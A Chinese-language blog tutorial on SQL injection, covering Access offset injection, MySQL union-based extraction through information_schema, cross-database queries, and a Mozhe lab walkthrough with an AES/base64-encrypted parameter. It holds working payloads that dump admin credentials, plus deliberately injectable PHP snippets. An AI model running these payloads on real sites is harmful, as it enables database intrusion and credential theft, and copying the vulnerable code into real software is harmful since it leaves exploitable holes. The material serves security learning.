SQL注入漏洞分析(一)


SQL注入原理

脚本代码在实现代码与数据库进行数据通讯时,将定义的SQL语句进行查询数据时。其中的SQL语句能通过参数传递自定义值来实现控制SQL语句,从而执行恶意的SQL语句,可以实现查询其他数据(数据库中的敏感数据,如管理员账号密码)。

危害利用分析

简单来说,就是能获取数据库中数据,以及管理员账号密码,如果是高权限注入的话,那就获取读写文件\权限跨库查询注入等,能进一步拿到服务器shell,也可以跨站渗透。

  • 数据库能做什么它就能做什么

  • sql语句查询,删除,添加,修改等操作

不同的数据库语句的写法规则不同,也就是必须符合正确的写法才能执行成功,取决当前的数据库语句定义,不同的数据库内置配置不一样

漏洞产生根本条件:

  • 可控变量

  • 特定函数

大部分web漏洞的产生都离不开可控变量和特定函数这两个因素

SQL注入攻击流程

  1. 猜测数据库类型

  2. 根据类型选择思路

数据库结构

数据库名

​ 表名

​ 列名

​ 数据

以php作简单的示例演示脚本代码与数据库操作流程

<?php
//操作数据库讲数据取出进行展示
//$conn=mysql_connect('localhost','root','root');
//mysql_select_db('beescms',$conn);
include("/config/conn.php");

$i=$_GET['id'];//GET请求接受id参数名值给变量i

$sql="select * from bees_article where id=$i";
$result=mysql_query($sql,$conn); //执行sql语句
while($row=mysql_fetch_array($result)){
    echo '<br><br><hr>';
    echo $row['id'];
    echo $row['content'];
}
?>

config目录里的conn.php文件:

<?php
$conn=mysql_connect('localhost','root','root');
mysql_select_db('beescms',$conn);
?>

连接sql语句函数:mysql_connect()
选择数据库函数:mysql_select_db()
mysql执行函数:mysql_query()

注入点:

如果下面的 URL 地址测试注入判断 id 有注入,手工测试该如何进行?
http://192.168.255.134:84/Production/PRODUCT.asp?id=1513&page=1
http://192.168.255.134:84/Production/PRODUCT.asp?page=1&id=1513

Production/PRODUCT.asp?id=1513 注入语句&page=1 对
Production/PRODUCT.asp?id=1513&page=1 注入语句 错
注:
那个参数有注入点,就要针对那个参数注入
两个参数之间的位置可以互换

ACCESS

由于Access数据特性导致这个SQL注入是需要借助字典去猜解表名和列名的,那么就会出现表名或列名猜解不到,可以自定义社工字典或采用偏移注入。

偏移注入就是解决表名已知,列名未知

实例:

列名可以叫字段
order by 查字段数(当前的表的列名数量)
union联合查询 
  • 先有order by测试出字段(经过测试,得到22)

  • 使用payload:

    ?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

    查看页面数字回显的位置以及是哪个数字

  • 经过测试页面回显的数字是3、15

当进行到这一步后接下来就是猜解列名,可以两种方法猜解列名:一种是字典爆破,另一种是偏移注入

偏移注入payload

?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,* from (admin a inner join admin b on a.id=b.id)

访问查看源代码便可以在页面得到管理员密码

偏移注入就是解决表名已知,列名未知的情况

如果想详细了解偏移注入,请参考这篇文章:https://www.cnblogs.com/02SWD/p/15811580.html

MYSQL

MYSQL属于统一管理

MYSQL的数据库用户关系:

最高数据库用户=root 用户数据库 A=网站 A=数据库用户 A
表名列名数据数据库 B=网站 B=数据库用户 B
数据库 C=网站 C=数据库用户 C

如果面对渗透网站A的话,通过网站B注入获取网站A的数据库数据

为了网站和数据库的安全性,MYSQL 内置有 ROOT 最高用户,划分等级,每个用户对应管理一个数据库,这样保证无不关联,从而不会影响到其他数据库的运行。

MYSQL 两种思路:非 ROOT 的注入攻击:常规类的猜解
ROOT 用户的注入攻击:文件读写操作,跨库查询注入等黑盒测试中可以采用 user()获取当前用户权限,白盒中看连接用户即可!

MYSQL5.0 以上版本:自带的数据库名 information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表
information_schema.schemata:记录所有的数据库名

注:group_concat()这个函数(属于MysQL函数)可以查询多个数据,通过用于页面有回显的联合注入

获取相关数据思路:
1、数据库版本-看是否符合 information_schema 查询-version()
2、数据库用户-看是否符合 ROOT 型注入攻击-user()
3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()

5、查看mysql路径-@@basedir

ROOT 类型攻击-猜解数据,文件读写,跨库查询

以下用一个比较简单示例演示

示例的代码:

<?php
//声明文件解析的编码格式
header('Content-type:text/html;charset=utf-8');
//操作数据库讲数据取出进行展示
$conn=mysql_connect('localhost','root','root');
mysql_select_db('beescms',$conn);

$i=$_GET['id'];//GET请求接受id参数名值给变量i

$sql="select * from bees_article where id='$i'";
$result=mysql_query($sql,$conn); //执行sql语句
while($row=mysql_fetch_array($result)){
    echo '<br><br><hr>';
    echo $row['id'];
    echo $row['content'];
}
?>

注:我是随便找一个数据库来演示,如果你的本地没有beescms这个数据库的话,可以更换你本地一个已有的数据库进行测试,只不过表、列以及数据等不同而且,但思路是一样的

演示:

#猜字段,这个比较简单
?id=-1' order by 2--+ #不报错
?id=-1' order by 3--+ #报错,说明字段是2
#获取 beescms 数据库下面的表名信息:
?id=-1' union select 1,group_concat(table_name) from information_schema.tables where  table_schema=database()--+
 #得到其中一个重要的表 bees_admin
#获取表名 bees_admin 的列名信息:
?id=-1' union select 1,group_concat(column_name) from information_schema.columns where  table_schema=database() and table_name='bees_admin'--+ #得到admin_name和admin_password两个重要列名
#获取数据:
?id=-1' union select admin_name,admin_password from beescms.bees_admin--+

跨库注入:实现当前网站跨库查询其他数据库对应网站的数据

#获取当前 mysql 下的所有数据库名
?id=-1' union select 1,group_concat(schema_name) from information_schema.schemata--+
#获取数据库名 xhcms 下的表名信息,这个xhcms是我本地的另一个数据库
?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='xhcms'--+
#获取数据库名 xhcms 下的表 manage 下的列名信息
?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='xhcms' and table_name='manage'--+ #有显示name和password两个重要列名
#获取数据
?id=-1' union select name,password from xhcms.manage--+

技巧分享:concat_ws()这个函数可以将数据有一个比较好的显示,比如:

?id=-1’ union select 1,concat_ws(‘~’,name,password) from xhcms.manage–+

这样显示会更直观

一个参数是经过base64加密的示例

举个例子,假如网站的URL形式是这样的:http://www.example.com/test.php?id=MQ==

很明显这种情况是属于参数经过base64加密的(MQ==经过base64解密后是1)

对于这种情况,在测试这个网站有没有SQL注入的方式应该是将payload进行加密后写入url测试

之前就遇到一个比较狠的情况,它的参数是要经过base64加密的,而且数据库版本低于5.0,对于这种情况,只能使用字典爆破或sqlmap,

下面就用墨者的一个靶场演示一下参数加密的注入过程:

靶场链接:https://www.mozhe.cn/bug/detail/110

打开靶场,点击一下通知,可以一个有关维护的通知,注意观察URL的参数(ZUlJOGMzSmVMMHQwZHhNN3diM056Zz09),盲猜,应该是属于参数加密类型的,再仔细观察一下URL,访问一下==/news==目录

果然在==/news==还有一个压缩包,下载下来,发现是一个php文件,文本内容如下:

<?php
header('content-type:text/html;charset=utf-8');
require_once '../config.php';
//解密过程
function decode($data){
	$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
	mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
	$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
	mcrypt_generic_deinit($td);
	mcrypt_module_close($td);
	if(substr(trim($data),-6)!=='_mozhe'){
		echo '<script>window.location.href="/index.php";</script>';
	}else{
		return substr(trim($data),0,strlen(trim($data))-6);
	}
}
$id=decode($_GET['id']);
$sql="select id,title,content,time from notice where id=$id";
$info=$link->query($sql);
$arr=$info->fetch_assoc();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>X公司HR系统V1.0</title>
<style>.body{width:600px;height:500px;margin:0 auto}.title{color:red;height:60px;line-height:60px;font-size:30px;font-weight:700;margin-top:75pt;border-bottom:2px solid red;text-align:center}.content,.title{margin:0 auto;width:600px;display:block}.content{height:30px;line-height:30px;font-size:18px;margin-top:40px;text-align:left;color:#828282}</style>
</head>
<body>
<div class="body">
<div class="title"><?php echo $arr['title']?></div>
<div class="content"><?php echo $arr['content']?></div>
</body>
</html>

看到代码,觉得这道题最复杂的地方应该在这里了,接下来分析代码,如果你和我一样,看不太懂的话,就去网站查一下有些函数是什么意思

mcrypt_module_open() - 打开算法和模式对应的模块
mcrypt_generic_init() - 初始化加密所需的缓冲区
mdecrypt_generic () - 解密数据
base64_decode() - base64解码

所以先拿URL的参数ZUlJOGMzSmVMMHQwZHhNN3diM056Zz09去base64解码,得到eII8c3JeL0t0dxM7wb3Nzg==,接着就拿去AES解密,根据php代码的提示设置相关key、偏移量等信息,我这里使用一款工具进行AES加解密、base64编码解码,你也在线AES加解密、base64编码解码

在线AES加解密:https://www.toolhelper.cn/SymmetricEncryption/AES

在线base64编码解码:https://www.toolhelper.cn/EncodeDecode/Base64EncodeDecode

对eII8c3JeL0t0dxM7wb3Nzg==进行AES解密:

再结合代码分析,这靶场思路应该是这样:先要把payload进行AES加密,再把结果经过base64编码后再进行注入,而且payload一定要带上==_mozhe==

#获取数据库
1 order by 4_mozhe #没报错
1 order by 5_mozhe #报错,说明字段是4
#获取显位
-1 union select 1,2,3,4_mozhe
#获取数据库名、数据库版本
-1 union select 1,database(),version(),4_mozhe #得到数据是mozhe_Discuz_StormGroup,版本是5.7.22-0ubuntu0.16.04.1
#获取数据库表
-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'_mozhe #获取得到StormGroup_member,notice这两个表
#获取StormGroup_member下的列名信息
-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='mozhe_Discuz_StormGroup' and table_name='StormGroup_member'_mozhe #获取id,name,password,status列名
#获取列名name和password数据
-1 union select 1,concat_ws('~',name,password),3,4 from mozhe_Discuz_StormGroup.StormGroup_member_mozhe #得到mozhe~356f589a7df439f6f744ff19bb8092c0,注意我在测试发现这里有个坑,这个密码不是有效密码,它还有另一个密码
#获取所有密码
-1 union select 1,group_concat(password),3,4 from mozhe_Discuz_StormGroup.StormGroup_member_mozhe #另一个密码:36f85d327ebec8ac4b80e3133e2a0d16,md5解密后得到652987
#最终确定账号密码分别为mozhe、652987

注:以上payload均需要先经过AES加密后再base64编码,再能注入

如果觉得这个有一小点难理解,又体验复现参数加密注入的话,可以用下面的代码放在本地测试,注意要把数据库、及数据库表那些信息改成你本地已有的相关信息,然后进行测试,注入的思路是一样的,只是参数经过base64编码

<?php
//声明文件解析的编码格式
header('Content-type:text/html;charset=utf-8');
//操作数据库讲数据取出进行展示
$conn=mysql_connect('localhost','root','root');
mysql_select_db('beescms',$conn);

$i=$_GET['id'];//GET请求接受id参数名值给变量i
$i=base64_decode($i);
$sql="select * from bees_article where id='$i'";
$result=mysql_query($sql,$conn); //执行sql语句

while($row=mysql_fetch_array($result)){
    echo '<br><br><hr>';
    echo $row['id'];
    echo $row['content'];
}
?>

免责声明:本文章涉及的知识和技能仅用于学习研究,如有用于非法途径或未被授权的真实网络环境,所造成的后果及连带责任自行承担,与本文作者无关,倡导把安全知识和技能用于正当、正规、正义的途径。


文章作者: 阿浩
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 阿浩 !
评论
  目录